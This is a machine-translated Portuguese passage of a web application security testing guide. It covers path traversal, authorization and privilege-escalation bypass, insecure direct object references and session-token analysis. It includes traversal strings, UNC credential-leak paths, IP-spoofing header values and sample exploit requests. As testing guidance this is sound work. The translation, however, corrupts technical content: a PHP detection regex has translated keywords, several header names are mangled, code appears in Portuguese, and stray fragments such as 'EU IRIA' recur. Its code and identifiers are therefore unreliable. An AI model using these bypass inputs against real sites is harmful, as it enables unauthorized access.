Marcadores de diretório atual estranhos, como ./ ou .\\ Marcadores de
diretório pai estranhos com itens arbitrários que podem ou não existir:
arquivo.txt
arquivo.txt...
arquivo.txt<espaços>
171
arquivo.txt""""
arquivo.txt<<<>>><
./././arquivo.txt
inexistente/../arquivo.txt
API do Windows: Os itens a seguir são descartados quando usados em qualquer comando shell ou chamada de API em que uma string é usada
como nome de arquivo:
períodos
espaços
Windows UNC Filepaths: Usado para fazer referência a arquivos em compartilhamentos SMB. Às vezes, um aplicativo pode ser feito para se
referir a arquivos em um caminho de arquivo UNC remoto. Nesse caso, o servidor Windows SMB pode enviar credenciais armazenadas ao
invasor, que podem ser capturadas e quebradas. Eles também podem ser usados com um endereço IP auto-referencial ou nome de domínio
para evitar filtros, ou usados para acessar arquivos em compartilhamentos SMB inacessíveis ao invasor, mas acessíveis a partir do servidor web.
\\servidor_ou_ip\caminho\para\arquivo.abc
\\?\servidor_ou_ip\caminho\para\arquivo.abc
Namespace do dispositivo Windows NT: usado para se referir ao namespace do dispositivo Windows. Certas referências permitirão o acesso a
sistemas de arquivos usando um caminho diferente.
Pode ser equivalente a uma letra de unidade como c:\ , ou até mesmo um volume de unidade sem uma letra atribuída:
\\.\GLOBALROOT\Dispositivo\HarddiskVolume1\
Refere-se à primeira unidade de disco na máquina: \\.\CdRom0\
Quando a análise é realizada com uma abordagem de teste de caixa cinza, os testadores devem seguir a mesma metodologia do teste de caixa
preta. No entanto, como eles podem revisar o código-fonte, é possível pesquisar os vetores de entrada com mais facilidade e precisão. Durante uma
revisão do código-fonte, eles podem usar ferramentas simples (como o comando grep ) para pesquisar um ou mais padrões comuns no código do
aplicativo: funções/métodos de inclusão, operações do sistema de arquivos e assim por diante.
PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...
JSP/Servlet: java.io.File(), java.io.FileReader(), ...
ASP: incluir arquivo, incluir virtual, ...
Usando mecanismos de pesquisa de código on-line (por exemplo, Searchcode), também pode ser possível encontrar falhas de path traversal em
software de código aberto publicado na Internet.
Para PHP, os testadores podem usar o seguinte regex:
(incluir|exigir)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)
Usando o método de teste de caixa cinza, é possível descobrir vulnerabilidades que geralmente são mais difíceis de descobrir, ou mesmo impossíveis
de encontrar durante uma avaliação de caixa preta padrão.
Alguns aplicativos da web geram páginas dinâmicas usando valores e parâmetros armazenados em um banco de dados. Pode ser possível inserir
cadeias de passagem de caminho especialmente criadas quando o aplicativo adiciona dados ao banco de dados. Esse tipo de problema de segurança
é difícil de descobrir devido ao fato de que os parâmetros dentro das funções de inclusão parecem internos e seguros , mas na realidade não são.
Além disso, revisando o código-fonte, é possível analisar as funções que devem lidar com entradas inválidas: alguns desenvolvedores tentam alterar
entradas inválidas para torná-las válidas, evitando avisos e erros. Essas funções geralmente são propensas a falhas de segurança.
Considere um aplicativo da web com estas instruções:

172
nome do arquivo = Request.QueryString("arquivo");

Substituir(arquivo, "/","\"); Substituir(arquivo, "..\","");
O teste para a falha é obtido por:
file=....//....//boot.ini
arquivo=....\\....\\boot.ini
arquivo= ..\..\boot.ini
Ferramentas
DotDotPwn - O Diretório Traversal Fuzzer

Path Traversal Fuzz Strings (da ferramenta WFuzz)
OWASP ZAP
Suíte Burp
Ferramentas de codificação/decodificação
Pesquisador de strings “grep”
DirBuster
Referências
Artigos técnicos
phpBB Attachment Mod Directory Traversal HTTP POST Injection
Pseudônimos de arquivos do Windows: Pwnage e Poesia

173
Teste para Ignorar o Esquema de Autorização
EU IRIA
WSTG-ATHZ-02
Resumo
Esse tipo de teste se concentra em verificar como o esquema de autorização foi implementado para cada função ou privilégio para obter acesso a
funções e recursos reservados.
Para cada função específica que o testador exerce durante a avaliação e para cada função e solicitação que o aplicativo executa durante a fase
de pós-autenticação, é necessário verificar:
É possível acessar esse recurso mesmo que o usuário não esteja autenticado?
É possível acessar esse recurso após o logout?
É possível acessar funções e recursos que deveriam ser acessíveis a um usuário que possui uma função ou privilégio diferente?
Tente acessar o aplicativo como usuário administrativo e acompanhe todas as funções administrativas.
É possível acessar as funções administrativas se o testador estiver conectado como um usuário não administrador?
É possível usar essas funções administrativas como um usuário com uma função diferente e para quem essa ação deve ser negada?
Objetivos do teste
Avalie se o acesso horizontal ou vertical é possível.
Como testar
Acesse recursos e conduza operações horizontalmente.
Acesse recursos e conduza operações verticalmente.
Testando o Esquema de Autorização de Contorno Horizontal

Para cada função, função específica ou solicitação que o aplicativo executa, é necessário verificar:
É possível acessar recursos que devem ser acessíveis a um usuário que possui uma identidade diferente com a mesma função ou privilégio?
É possível operar funções em recursos que devem ser acessíveis a um usuário que possui uma identidade diferente?
Para cada função:
1. Registre ou gere dois usuários com privilégios idênticos.
2. Estabelecer e manter ativas duas sessões diferentes (uma para cada usuário).
3. Para cada solicitação, altere os parâmetros relevantes e o identificador de sessão do token um para o token dois e
diagnosticar as respostas para cada token.
4. Um aplicativo será considerado vulnerável se as respostas forem as mesmas, contiverem os mesmos dados privados ou indicarem operação
bem-sucedida em recursos ou dados de outros usuários.
Por exemplo, suponha que a função viewSettings faça parte de todos os menus de conta do aplicativo com a mesma função,
e isto é possível para Acesso isto
de solicitando a Segue URL:
174
https://www.example.com/account/viewSettings . Em seguida, a seguinte solicitação HTTP é gerada ao chamar a função viewSettings :
POST /account/viewSettings HTTP/1.1 Host:

www.example.com [outros cabeçalhos HTTP]
Cookie: SessionID=USER_SESSION
nome de usuário=example_user
Resposta válida e legítima:
HTTP1.1 200 OK
[outros cabeçalhos HTTP]
{
"username": "example_user", "email":
"example@email.com", "address":
"Example Address"
}
O invasor pode tentar executar essa solicitação com o mesmo parâmetro de nome de usuário:
POST /account/viewCCpincode HTTP/1.1 Host:

www.example.com [outros cabeçalhos HTTP]
Cookie: SessionID=ATTACKER_SESSION
nome de usuário=example_user
Se a resposta do invasor contiver os dados do example_user , o aplicativo estará vulnerável a movimentos laterais
ataques, onde um usuário pode ler ou escrever dados de outro usuário.
Testando o esquema de autorização de desvio vertical Um desvio de autorização
vertical é específico para o caso de um invasor obter uma função superior à sua. O teste para esse desvio concentra-se na verificação de como o
esquema de autorização vertical foi implementado para cada função. Para cada função, página, função específica ou solicitação que o aplicativo executa,
é necessário verificar se é possível:
Acessar recursos que devem ser acessíveis apenas a um usuário com função superior.
Opere funções em recursos que devem ser operados apenas por um usuário que possua uma identidade de função superior ou específica.
Para cada função:
1. Registre um usuário.
2. Estabeleça e mantenha duas sessões diferentes com base nas duas funções diferentes.
3. Para cada solicitação, altere o identificador de sessão do original para o identificador de sessão de outra função e avalie
as respostas de cada um.
4. Um aplicativo será considerado vulnerável se a sessão com privilégios mais fracos contiver os mesmos dados ou indicar operações bem-sucedidas
em funções com privilégios mais altos.
Cenário de funções do site bancário
A tabela a seguir ilustra as funções do sistema em um site bancário. Cada função é vinculada a permissões específicas para a funcionalidade do menu
de eventos:
175
FUNÇÃO PERMISSÃO PERMISSÃO ADICIONAL
Administrador Controlo total Excluir
Gerente Modificar, adicionar, ler Adicionar
Pessoal Ler, Modificar Modificar
Cliente Somente leitura
O aplicativo será considerado vulnerável se:
1. O cliente pode operar funções de administrador, gerente ou equipe;
2. O usuário da equipe pode operar funções de gerente ou administrador;
3. O gerente pode operar funções de administrador.
Suponha que a função deleteEvent faça parte do menu da conta de administrador do aplicativo e seja possível acessá-la solicitando a seguinte
URL: https://www.example.com/account/deleteEvent . Em seguida, a seguinte solicitação HTTP é gerada ao chamar a função deleteEvent :
POST /account/deleteEvent HTTP/1.1

Cookie: SessionID=ADMINISTRATOR_USER_SESSION
EventID=1000001
A resposta válida:
HTTP/1.1 200 OK
{"message": "Evento foi deletado"}
O invasor pode tentar executar a mesma solicitação:
POST /account/deleteEvent HTTP/1.1

Cookie: SessionID=CUSTOMER_USER_SESSION
EventID=1000002
Se a resposta da solicitação do invasor contiver os mesmos dados {"mensagem": "Evento foi excluído"} , o aplicativo estará vulnerável.
Acesso à página do administrador
Suponha que o menu do administrador faça parte da conta do administrador.
O aplicativo será considerado vulnerável se qualquer função diferente de administrador puder acessar o menu do administrador.
Às vezes, os desenvolvedores executam a validação de autorização apenas no nível da GUI e deixam as funções sem validação de autorização,
resultando potencialmente em uma vulnerabilidade.
Teste de acesso a funções administrativas

176
Por exemplo, suponha que a função addUser faça parte do menu administrativo do aplicativo e seja possível acessá-la solicitando a seguinte URL https://
www.example.com/admin/addUser .
Em seguida, a seguinte solicitação HTTP é gerada ao chamar a função addUser :
POST /admin/addUser HTTP/1.1

Host: www.example.com [...]
userID=fakeuser&role=3&group=grp001
Outras perguntas ou considerações iriam na seguinte direção:
O que acontece se um usuário não administrativo tentar executar essa solicitação?
O usuário será criado?
Em caso afirmativo, o novo usuário pode usar seus privilégios?
Teste de acesso a recursos atribuídos a uma função diferente
Vários controles de recursos de configuração de aplicativos com base em funções de usuário. Vamos dar um exemplo de currículos ou currículos (curriculum
vitae) carregados em um formulário de carreiras para um bucket do S3.
Como usuário normal, tente acessar a localização desses arquivos. Se você conseguir recuperá-los, modificá-los ou excluí-los, o aplicativo estará vulnerável.
Teste para manipulação de cabeçalho de solicitação especial
Alguns aplicativos oferecem suporte a cabeçalhos não padrão, como X-Original-URL ou X-Rewrite-URL , para permitir a substituição da URL de destino nas
solicitações por aquela especificada no valor do cabeçalho.
Esse comportamento pode ser aproveitado em uma situação em que o aplicativo está atrás de um componente que aplica restrição de controle de acesso com
base na URL solicitada.
O tipo de restrição de controle de acesso com base na URL de solicitação pode ser, por exemplo, bloquear o acesso da Internet a um console de administração
exposto em /console ou /admin .
Para detectar o suporte para o cabeçalho X-Original-URL ou X-Rewrite-URL , as seguintes etapas podem ser aplicadas.
1. Envie uma solicitação normal sem nenhum cabeçalho X-Original-Url ou X-Rewrite-Url
GET / HTTP/1.1
Host: www.example.com [...]
2. Envie uma solicitação com um cabeçalho X-Original-Url apontando para um recurso inexistente
GET / HTTP/1.1
Original-URL: /donotexist1 [...]
3. Envie uma solicitação com um cabeçalho X-Rewrite-Url apontando para um recurso inexistente
GET / HTTP/1.1
Rewrite-URL: /donotexist2
[...]
177
Se a resposta para qualquer solicitação contiver marcadores de que o recurso não foi encontrado, isso indica que o aplicativo oferece suporte aos cabeçalhos de
solicitação especial. Esses marcadores podem incluir o código de status de resposta HTTP 404 ou uma mensagem de “recurso não encontrado” no corpo da
resposta.
Depois que o suporte para o cabeçalho X-Original-URL ou X-Rewrite-URL foi validado, a tentativa de contornar a restrição de controle de acesso pode ser
aproveitada enviando a solicitação esperada para o aplicativo, mas especificando uma URL “permitida” pela frente -end componente como a URL de solicitação
principal e especificando a URL de destino real no cabeçalho X-Original-URL ou X-Rewrite-URL , dependendo daquele suportado. Se ambos forem suportados,
tente um após o outro para verificar para qual cabeçalho o desvio é eficaz.
4. Outros cabeçalhos a serem considerados
Frequentemente, painéis de administração ou bits de funcionalidade relacionados a administração são acessíveis apenas para clientes em redes locais, portanto,
pode ser possível abusar de vários proxy ou encaminhar cabeçalhos HTTP relacionados para obter acesso. Alguns cabeçalhos e valores para testar são:
Cabeçalhos:
X-Forwarded-For
X-Forward-For
X-Remote-IP
X-IP de Origem
X-Remote-Addr
X-Client-IP
valores
127.0.0.1 (ou qualquer coisa nos espaços de endereço 127.0.0.0/8 ou ::1/128 )
host local
Qualquer RFC1918 Morada:

10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
Endereços locais de link: 169.254.0.0/16
Nota: Incluir um elemento de porta junto com o endereço ou nome do host também pode ajudar a contornar proteções de borda, como firewalls de aplicativos da
web, etc. Por exemplo: 127.0.0.4:80 , 127.0.0.4:443 , 127.0.0.4:43982
Remediação
Empregue os princípios de privilégio mínimo nos usuários, funções e recursos para garantir que nenhum acesso não autorizado ocorra.
Ferramentas
Complemento ZAP: Teste de controle de acesso
Suíte Port Swigger Burp

Extensão Burp: AuthMatrix
Extensão de arroto: Autorizar
Referências
Padrão de verificação de segurança de aplicativos OWASP 4.0.1, v4.0.1-1, v4.0.1-4, v4.0.1-9, v4.0.1-16
178
Teste para escalonamento de privilégios
EU IRIA
WSTG-ATHZ-03
Resumo
Esta seção descreve o problema de escalar privilégios de um estágio para outro. Durante esta fase, o testador deve verificar se não é possível para um
usuário modificar seus privilégios ou funções dentro do aplicativo de forma a permitir ataques de escalonamento de privilégios.
A escalação de privilégio ocorre quando um usuário obtém acesso a mais recursos ou funcionalidades do que normalmente são permitidos, e tal elevação ou
alteração deveria ter sido evitada pelo aplicativo. Isso geralmente é causado por uma falha no aplicativo. O resultado é que o aplicativo executa ações com
mais privilégios do que os pretendidos pelo desenvolvedor ou administrador do sistema.
O grau de escalonamento depende de quais privilégios o invasor está autorizado a possuir e quais privilégios podem ser obtidos em uma exploração bem-
sucedida. Por exemplo, um erro de programação que permite que um usuário obtenha privilégio extra após uma autenticação bem-sucedida limita o grau de
escalonamento, porque o usuário já está autorizado a manter algum privilégio. Da mesma forma, um invasor remoto que obtém privilégio de superusuário
sem nenhuma autenticação apresenta um grau maior de escalonamento.
Normalmente, as pessoas se referem à escalação vertical quando é possível acessar recursos concedidos a contas mais privilegiadas (por exemplo, adquirir
privilégios administrativos para o aplicativo) e à escalação horizontal quando é possível acessar recursos concedidos a uma conta com configuração
semelhante (por exemplo, numa aplicação de banca online, acedendo a informação relativa a outro utilizador).
Objetivos do teste
Identifique os pontos de injeção relacionados à manipulação de privilégios.
Fuzz ou tente contornar as medidas de segurança.
Como testar
Teste para manipulação de função/privilégio
Em todas as partes do aplicativo em que um usuário pode criar informações no banco de dados (por exemplo, efetuar um pagamento, adicionar um contato
ou enviar uma mensagem), receber informações (extrato da conta, detalhes do pedido etc.) (soltar usuários, mensagens, etc.), é necessário registrar essa
funcionalidade. O testador deve tentar acessar tais funções como outro usuário para verificar se é possível acessar uma função que não deve ser permitida
pela função/privilégio do usuário (mas pode ser permitida como outro usuário).
Manipulação de grupo de usuários
Por exemplo: O seguinte HTTP POST permite que o usuário que pertence a grp001 acesse o pedido #0001:
POST /user/viewOrder.jsp HTTP/1.1 Host:

www.example.com
...
groupID=grp001&orderID=0001
Verifique se um usuário que não pertence a grp001 pode modificar o valor dos parâmetros groupID e orderID para ter acesso a esses dados privilegiados.
179
Manipulação de Perfil de Usuário
Por exemplo: A resposta do servidor a seguir mostra um campo oculto no HTML retornado ao usuário após uma
autenticação.
HTTP/1.1 200 OK
Servidor: Netscape-Enterprise/6.0 Data: quarta-
feira, 1 de abril de 2006 13:51:20 GMT Set-Cookie:
USER=aW78ryrGrTWs4MnOd32Fs51yDqp; caminho=/; domínio=www.example.com Set-Cookie:
SESSION=k+KmKeHXTgDi1J5fT7Zz; caminho=/; domínio = www.example.com Cache-Control: sem cache
Pragma: sem cache

Expira: quinta-feira, 01 de janeiro de 1970 00:00:00 GMT
Conexão: fechar
<form name="autoriz" method="POST" action = "visual.jsp"> <input type="hidden"

name="profile" value="SysAdmin">\
<body onload="document.forms.autoriz.submit()"> </td>
</tr>
E se o testador modificar o valor da variável profile para SysAdmin ? É possível se tornar administrador?
Manipulação do valor da condição
Por exemplo: Em um ambiente onde o servidor envia uma mensagem de erro contida como valor em um parâmetro específico em um conjunto de
códigos de resposta, conforme a seguir:
@0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValid`-1`0`0` Notificações`0`0`3`Comando
Gerenciador`0`0`0` StateToolsBar`0`0`0`
StateExecToolBar`0`0`0`FlagsToolBar`0
O servidor dá uma confiança implícita ao usuário. Acredita-se que o usuário responderá com a mensagem acima fechando a
sessão.
Nessa condição, verifique se não é possível escalar privilégios modificando os valores dos parâmetros. Neste exemplo específico, modificando o valor
PVValid de -1 para 0 (sem condições de erro), pode ser possível autenticar como administrador no servidor.
Manipulação de endereço IP
Alguns sites limitam o acesso ou contam o número de tentativas de login com falha com base no endereço IP.
Por exemplo:
X-Encaminhado-Para: 8.1.1.1
Nesse caso, se o site usar o valor de X-forwarded-For como endereço IP do cliente, o testador poderá alterar o valor IP do cabeçalho HTTP X-forwarded-
For para contornar a identificação da origem do IP.
Travessia de URL
Tente percorrer o site e verifique se algumas das páginas que podem perder a verificação de autorização.
Por exemplo:
Machine
180
/../.././userInfo.html
Caixa branca
Se a verificação de autorização de URL for feita apenas por correspondência parcial de URL, é provável que testadores ou hackers possam contornar a
autorização por meio de técnicas de codificação de URL.
Por exemplo:
começa com(), termina com(), contém(), indexOf()
ID de sessão fraco
Algoritmo de ID de sessão fraco pode ser vulnerável a ataques de força bruta. Por exemplo, um site está usando MD5 (Senha + UserID) como sessionID.
Em seguida, os testadores podem adivinhar ou gerar o ID da sessão para outros usuários.
Referências
Artigos técnicos
Wikipédia - Escalação de Privilégios
Ferramentas

181
Testando referências inseguras de objetos diretos
EU IRIA
WSTG-ATHZ-04
Resumo
As referências inseguras de objetos diretos (IDOR) ocorrem quando um aplicativo fornece acesso direto a objetos com base na entrada
fornecida pelo usuário. Como resultado dessa vulnerabilidade, os invasores podem ignorar a autorização e acessar recursos do sistema
diretamente, por exemplo, registros ou arquivos do banco de dados. As referências inseguras de objetos diretos permitem que os invasores
ignorem a autorização e acessem recursos diretamente, modificando o valor de um parâmetro usado para apontar diretamente para um objeto.
Esses recursos podem ser entradas de banco de dados pertencentes a outros usuários, arquivos no sistema e muito mais. Isso é causado
pelo fato de que o aplicativo recebe a entrada fornecida pelo usuário e a utiliza para recuperar um objeto sem executar verificações de
autorização suficientes.
Objetivos do teste
Identificar pontos onde podem ocorrer referências a objetos.
Avalie as medidas de controle de acesso e se elas são vulneráveis ao IDOR.
Como testar
Para testar esta vulnerabilidade, o testador primeiro precisa mapear todos os locais no aplicativo onde a entrada do usuário é usada para
referenciar objetos diretamente. Por exemplo, locais onde a entrada do usuário é usada para acessar uma linha de banco de dados, um
arquivo, páginas de aplicativos e muito mais. Em seguida, o testador deve modificar o valor do parâmetro usado para referenciar objetos e
avaliar se é possível recuperar objetos pertencentes a outros usuários ou ignorar a autorização.
A melhor maneira de testar referências diretas a objetos seria ter pelo menos dois (frequentemente mais) usuários para cobrir diferentes
objetos e funções pertencentes. Por exemplo, dois usuários, cada um com acesso a objetos diferentes (como informações de compra,
mensagens privadas etc.) e (se relevante) usuários com privilégios diferentes (por exemplo, usuários administradores) para verificar se há
referências diretas à funcionalidade do aplicativo. Ao ter vários usuários, o testador economiza um valioso tempo de teste ao adivinhar
nomes de objetos diferentes, pois pode tentar acessar objetos que pertencem ao outro usuário.
Abaixo estão vários cenários típicos para esta vulnerabilidade e os métodos para testar cada um:
O valor de um parâmetro é usado diretamente para recuperar um registro de banco de dados
Pedido de amostra:
http://foo.bar/somepage?invoice=12345
Nesse caso, o valor do parâmetro fatura é usado como índice em uma tabela de faturas no banco de dados. O aplicativo pega o valor
desse parâmetro e o utiliza em uma consulta ao banco de dados. O aplicativo retorna as informações da fatura para o usuário.
Como o valor da nota fiscal vai direto para a consulta, modificando o valor do parâmetro é possível recuperar qualquer objeto nota fiscal,
independente do usuário a quem a nota fiscal pertence. Para testar este caso, o testador deve obter o identificador de uma fatura pertencente
a um usuário de teste diferente (garantindo que ele não deva visualizar essas informações pela lógica de negócios do aplicativo) e, em
seguida, verificar se é possível acessar objetos sem autorização.
O valor de um parâmetro é usado diretamente para executar uma operação no sistema
Pedido de amostra:
Machine
182
http://foo.bar/changepassword?user=someuser
Nesse caso, o valor do parâmetro user é usado para informar ao aplicativo para qual usuário ele deve alterar a senha. Em muitos casos,
essa etapa fará parte de um assistente ou de uma operação de várias etapas. Na primeira etapa o aplicativo receberá uma solicitação
informando qual a senha do usuário que deseja alterar e na próxima etapa o usuário fornecerá uma nova senha (sem solicitar a atual).
O parâmetro user é usado para referenciar diretamente o objeto do usuário para o qual a operação de alteração de senha será executada.
Para testar esse caso, o testador deve tentar fornecer um nome de usuário de teste diferente daquele conectado no momento e verificar se
é possível modificar a senha de outro usuário.
O valor de um parâmetro é usado diretamente para recuperar um recurso do sistema de arquivos
Pedido de amostra:
http://foo.bar/showImage?img=img00011
Nesse caso, o valor do parâmetro file é usado para informar ao aplicativo qual arquivo o usuário pretende recuperar. Ao fornecer o nome
ou identificador de um arquivo diferente (por exemplo, file=image00012.jpg), o invasor poderá recuperar objetos pertencentes a outros
usuários.
Para testar esse caso, o testador deve obter uma referência que o usuário não deve acessar e tentar acessá-la usando-a como o valor do
parâmetro de arquivo . Nota: Esta vulnerabilidade é frequentemente explorada em conjunto com uma vulnerabilidade de path traversal/
diretório (consulte Testing for Path Traversal)
O valor de um parâmetro é usado diretamente para acessar a funcionalidade do aplicativo
Pedido de amostra:
http://foo.bar/accessPage?menuitem=12
Nesse caso, o valor do parâmetro menuitem é usado para informar ao aplicativo qual item de menu (e, portanto, qual funcionalidade do
aplicativo) o usuário está tentando acessar. Suponha que o usuário seja restrito e, portanto, tenha links disponíveis apenas para acessar os
itens de menu 1, 2 e 3. Ao modificar o valor do parâmetro menuitem , é possível ignorar a autorização e acessar funcionalidades adicionais
do aplicativo. Para testar esse caso, o testador identifica um local onde a funcionalidade do aplicativo é determinada por referência a um
item de menu, mapeia os valores dos itens de menu que o usuário de teste pode acessar e tenta outros itens de menu.
Nos exemplos acima, a modificação de um único parâmetro é suficiente. No entanto, às vezes, a referência do objeto pode ser dividida
entre mais de um parâmetro e o teste deve ser ajustado de acordo.
Referências
Top 10 2013-A4-Insecure Direct Object References
183
4.6.1 Teste para Esquema de Gerenciamento de Sessão
4.6.2 Teste de Atributos de Cookies
4.6.3 Teste para Fixação de Sessão
4.6.4 Teste para Variáveis de Sessão Expostas
4.6.5 Teste para falsificação de solicitação entre sites
4.6.6 Testando a Funcionalidade de Logout
4.6.7 Testando o Tempo Limite da Sessão
4.6.8 Teste para Quebra-cabeças de Sessão
4.6.9 Teste para Sequestro de Sessão

184
Testando o Esquema de Gerenciamento de Sessão
EU IRIA
WSTG-SESS-01
Resumo
Um dos principais componentes de qualquer aplicativo baseado na Web é o mecanismo pelo qual ele controla e mantém o estado de um usuário
interagindo com ele. Para evitar a autenticação contínua para cada página de um site ou serviço, os aplicativos da web implementam vários
mecanismos para armazenar e validar credenciais por um período de tempo pré-determinado. Esses mecanismos são conhecidos como
Gerenciamento de Sessões.
Neste teste, o testador deseja verificar se os cookies e outros tokens de sessão são criados de forma segura e imprevisível. Um invasor capaz
de prever e forjar um cookie fraco pode sequestrar facilmente as sessões de usuários legítimos.
Os cookies são usados para implementar o gerenciamento de sessão e são descritos em detalhes no RFC 2965. Resumindo, quando um usuário
acessa um aplicativo que precisa acompanhar as ações e a identidade desse usuário em várias solicitações, um cookie (ou cookies) é gerado
pelo servidor e enviado ao cliente. O cliente enviará o cookie de volta ao servidor em todas as conexões seguintes até que o cookie expire ou
seja destruído. Os dados armazenados no cookie podem fornecer ao servidor um amplo espectro de informações sobre quem é o usuário, quais
ações ele realizou até agora, quais são suas preferências, etc., fornecendo assim um estado a um protocolo sem estado como o HTTP.
Um exemplo típico é fornecido por um carrinho de compras online. Ao longo da sessão de um usuário, o aplicativo deve rastrear sua identidade,
seu perfil, os produtos que ele escolheu comprar, a quantidade, os preços individuais, os descontos etc. Os cookies são uma maneira eficiente
de armazenar e transmitir esse informações de um lado para o outro (outros métodos são parâmetros de URL e campos ocultos).
Devido à importância dos dados que armazenam, os cookies são, portanto, vitais na segurança geral do aplicativo.
Ser capaz de adulterar os cookies pode resultar no seqüestro de sessões de usuários legítimos, obtendo privilégios mais altos em uma sessão
ativa e, em geral, influenciando as operações do aplicativo de maneira não autorizada.
Neste teste, o testador deve verificar se os cookies enviados aos clientes resistem a uma ampla gama de ataques destinados a interferir nas
sessões de usuários legítimos e no próprio aplicativo. O objetivo geral é conseguir forjar um cookie que será considerado válido pela aplicação e
que proporcionará algum tipo de acesso não autorizado (sequestro de sessão, escalonamento de privilégios, …).
Normalmente, as principais etapas do padrão de ataque são as seguintes:
coleta de cookies: coleta de um número suficiente de amostras de cookies;
engenharia reversa de cookies: análise do algoritmo de geração de cookies;
manipulação de cookies: falsificação de um cookie válido para realizar o ataque. Esta última etapa pode exigir um grande número de
tentativas, dependendo de como o cookie é criado (ataque de força bruta do cookie).
Outro padrão de ataque consiste em estourar um cookie. A rigor, esse ataque tem uma natureza diferente, pois aqui os testadores não estão
tentando recriar um cookie perfeitamente válido. Em vez disso, o objetivo é estourar uma área de memória, interferindo assim no comportamento
correto do aplicativo e possivelmente injetando (e executando remotamente) código malicioso.
Objetivos do teste
Reúna tokens de sessão, para o mesmo usuário e para usuários diferentes sempre que possível.
Analise e certifique-se de que existe aleatoriedade suficiente para interromper os ataques de falsificação de sessão.
Modifique os cookies que não são assinados e contêm informações que podem ser manipuladas.
185
Como testar
Testes e exemplos de caixa preta
Toda interação entre o cliente e o aplicativo deve ser testada pelo menos em relação aos seguintes critérios:
Todas as diretivas Set-Cookie são marcadas como seguras ?
Alguma operação de cookie ocorre em transporte não criptografado?
O Cookie pode ser forçado em transporte não criptografado?
Em caso afirmativo, como o aplicativo mantém a segurança?
Algum Cookie é persistente?
Quais tempos de expiração são usados em cookies persistentes e são razoáveis?
Os cookies que devem ser transitórios são configurados como tal?
Quais configurações de controle de cache HTTP/1.1 são usadas para proteger os cookies?
Quais configurações de controle de cache HTTP/1.0 são usadas para proteger os cookies?
Coleta de Cookies
O primeiro passo necessário para manipular o cookie é entender como o aplicativo cria e gerencia os cookies. Para esta tarefa, os testadores devem tentar
responder às seguintes perguntas:
Quantos cookies são usados pelo aplicativo?
Navegue pelo aplicativo. Observe quando os cookies são criados. Faça uma lista de cookies recebidos, a página que os define (com a diretiva set-
cookie), o domínio para o qual são válidos, seu valor e suas características.
Quais partes do aplicativo geram ou modificam o cookie?
Navegando no aplicativo, descubra quais cookies permanecem constantes e quais são modificados. Quais eventos modificam o cookie?
Quais partes do aplicativo requerem este cookie para serem acessados e utilizados?
Descubra quais partes do aplicativo precisam de um cookie. Acesse uma página e tente novamente sem o cookie ou com um valor modificado. Tente
mapear quais cookies são usados onde.
Uma planilha mapeando cada cookie para as partes do aplicativo correspondente e as informações relacionadas podem ser uma saída valiosa dessa fase.
Análise da Sessão
Os próprios tokens de sessão (Cookie, SessionID ou Hidden Field) devem ser examinados para garantir sua qualidade do ponto de vista da segurança.
Eles devem ser testados em relação a critérios como aleatoriedade, singularidade, resistência a análises estatísticas e criptográficas e vazamento de
informações.
Estrutura de token e vazamento de informações
A primeira etapa é examinar a estrutura e o conteúdo de um ID de sessão fornecido pelo aplicativo. Um erro comum é incluir dados específicos no Token
em vez de emitir um valor genérico e referenciar dados reais do lado do servidor.
Se o ID da sessão for texto não criptografado, a estrutura e os dados pertinentes podem ser imediatamente óbvios, como
192.168.100.1:owaspuser:password:15:58 .
Se parte ou todo o token parece estar codificado ou com hash, ele deve ser comparado a várias técnicas para verificar a ofuscação óbvia. Por exemplo, a
string 192.168.100.1:owaspuser:password:15:58 é representada em Hex, Base64 e como um hash MD5:
Hex: 3139322E3136382E3130302E313A6F77617370757365723A70617373776F72643A31353A3538
186
Base64: MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6cGFzc3dvcmQ6MTU6NTg=
MD5: 01c2fc4f0a817afd8366689bd29dd40a
Tendo identificado o tipo de ofuscação, pode ser possível decodificar de volta aos dados originais. Na maioria dos casos, no entanto, isso é improvável. Mesmo
assim, pode ser útil enumerar a codificação existente a partir do formato da mensagem.
Além disso, se o formato e a técnica de ofuscação puderem ser deduzidos, ataques automatizados de força bruta poderão ser planejados.
Os tokens híbridos podem incluir informações como endereço IP ou ID do usuário junto com uma parte codificada, como
owaspuser:192.168.100.1:a7656fafe94dae72b1e1487670148412 .
Tendo analisado um único token de sessão, a amostra representativa deve ser examinada. Uma simples análise dos tokens deve revelar imediatamente quaisquer
padrões óbvios. Por exemplo, um token de 32 bits pode incluir 16 bits de dados estáticos e 16 bits de dados variáveis. Isso pode indicar que os primeiros 16 bits
representam um atributo fixo do usuário – por exemplo, o nome de usuário ou endereço IP. Se o segundo bloco de 16 bits estiver aumentando a uma taxa regular,
isso pode indicar um elemento sequencial ou mesmo baseado em tempo para a geração do token. Veja exemplos.
Se forem identificados elementos estáticos para os Tokens, outras amostras devem ser coletadas, variando um elemento de entrada potencial por vez. Por exemplo,
tentativas de login por meio de uma conta de usuário diferente ou de um endereço IP diferente podem gerar uma variação na parte estática anterior do token de
sessão.
As seguintes áreas devem ser abordadas durante o teste de estrutura de ID de sessão única e múltipla:
Quais partes do ID da sessão são estáticas?
Quais informações confidenciais em texto não criptografado são armazenadas na ID da sessão? Por exemplo, nomes de usuários/UID, endereços
IP Que informações confidenciais facilmente decodificadas são armazenadas?
Quais informações podem ser deduzidas da estrutura do ID da sessão?
Quais partes do ID da sessão são estáticas para as mesmas condições de login?
Quais padrões óbvios estão presentes no ID da sessão como um todo ou em partes individuais?
Previsibilidade e aleatoriedade do ID da sessão
A análise das áreas variáveis (se houver) da ID da sessão deve ser realizada para estabelecer a existência de quaisquer padrões reconhecíveis ou previsíveis.
Essas análises podem ser realizadas manualmente e com ferramentas estatísticas ou criptanalíticas sob medida ou OTS para deduzir quaisquer padrões no
conteúdo do ID da sessão. As verificações manuais devem incluir comparações de IDs de sessão emitidos para as mesmas condições de login – por exemplo, o
mesmo nome de usuário, senha e endereço IP.
O tempo é um fator importante que também deve ser controlado. Números elevados de conexões simultâneas devem ser feitos para coletar amostras na mesma
janela de tempo e manter essa variável constante. Mesmo uma quantização de 50 ms ou menos pode ser muito grosseira e uma amostra obtida dessa maneira
pode revelar componentes baseados em tempo que, de outra forma, seriam

esquecidas.
Os elementos variáveis devem ser analisados ao longo do tempo para determinar se são de natureza incremental. Onde eles são incrementais, os padrões relativos
